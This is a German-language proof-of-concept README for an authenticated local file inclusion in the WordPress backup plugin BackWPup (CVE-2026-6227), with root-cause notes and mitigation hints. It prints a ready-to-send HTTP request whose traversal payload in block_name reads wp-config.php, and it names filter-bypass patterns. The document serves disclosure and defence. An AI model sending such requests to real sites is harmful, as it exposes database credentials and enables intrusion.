
Bildungs-PoC für CVE-2026-6227, eine authentifizierte Local File Inclusion im WordPress-Plugin BackWPup, einschließlich Root-Cause-Analyse, Exploit-Request und Mitigationshinweisen.
BackWPup-Versionen bis einschließlich 5.6.6 sind von einer authentifizierten Schwachstelle zur lokalen Dateieinbindung (Local File Inclusion, LFI) über den Parameter block_name des REST-Endpunkts /wp-json/backwpup/v1/getblock betroffen.
Der Fehler wurde durch eine nicht-rekursive str_replace()-Bereinigung von Traversal-Sequenzen verursacht und ist bereits in Version 5.6.7 behoben.
Dieses Repository dient ausschließlich Bildungs- und ethischen Sicherheitsforschungszwecken. Die hier bereitgestellten Informationen sollen Administratoren und Sicherheitsteams dabei helfen, ihre Systeme zu überprüfen. Verwenden Sie diese nicht gegen Ziele ohne ausdrückliche, schriftliche Genehmigung.
BackWPupHelpers::component()POST /wp-json/backwpup/v1/getblockblock_nameDer anfällige Komponenten-Loader wendet vor dem Aufruf von include() eine nicht-rekursive str_replace()-Bereinigung an. Diese kann mit konstruierten Traversal-Mustern wie ....// oder ..././ umgangen werden, wodurch eine angreiferkontrollierte Pfadauflösung ermöglicht wird.
wp-config.php)Standardmäßig erfordert die Ausnutzung Administratorzugriff. Wenn Backup-Berechtigungen delegiert werden, könnten auch Benutzer mit geringeren Rechten diese Schwachstelle ausnutzen.
POST-Anfrage an /wp-json/backwpup/v1/getblock.block_name durch eine Traversal-Payload.Beispielanfrage:
POST /wp-json/backwpup/v1/getblock HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-WP-Nonce: <your_nonce_here>
Cookie: wordpress_logged_in_<hash>=<your_session_cookie>
block_name=....//....//....//....//wp-config&block_type=component&block_data%5Btype%5D=success&block_data%5Bfont%5D=small&block_data%5Bdismiss_icon%5D=true&block_data%5Bcontent%5D=You+scheduled+a+new+backup+successfully!
backwpup-Fähigkeit auf vertrauenswürdige Rollen/wp-json/backwpup/v1/getblock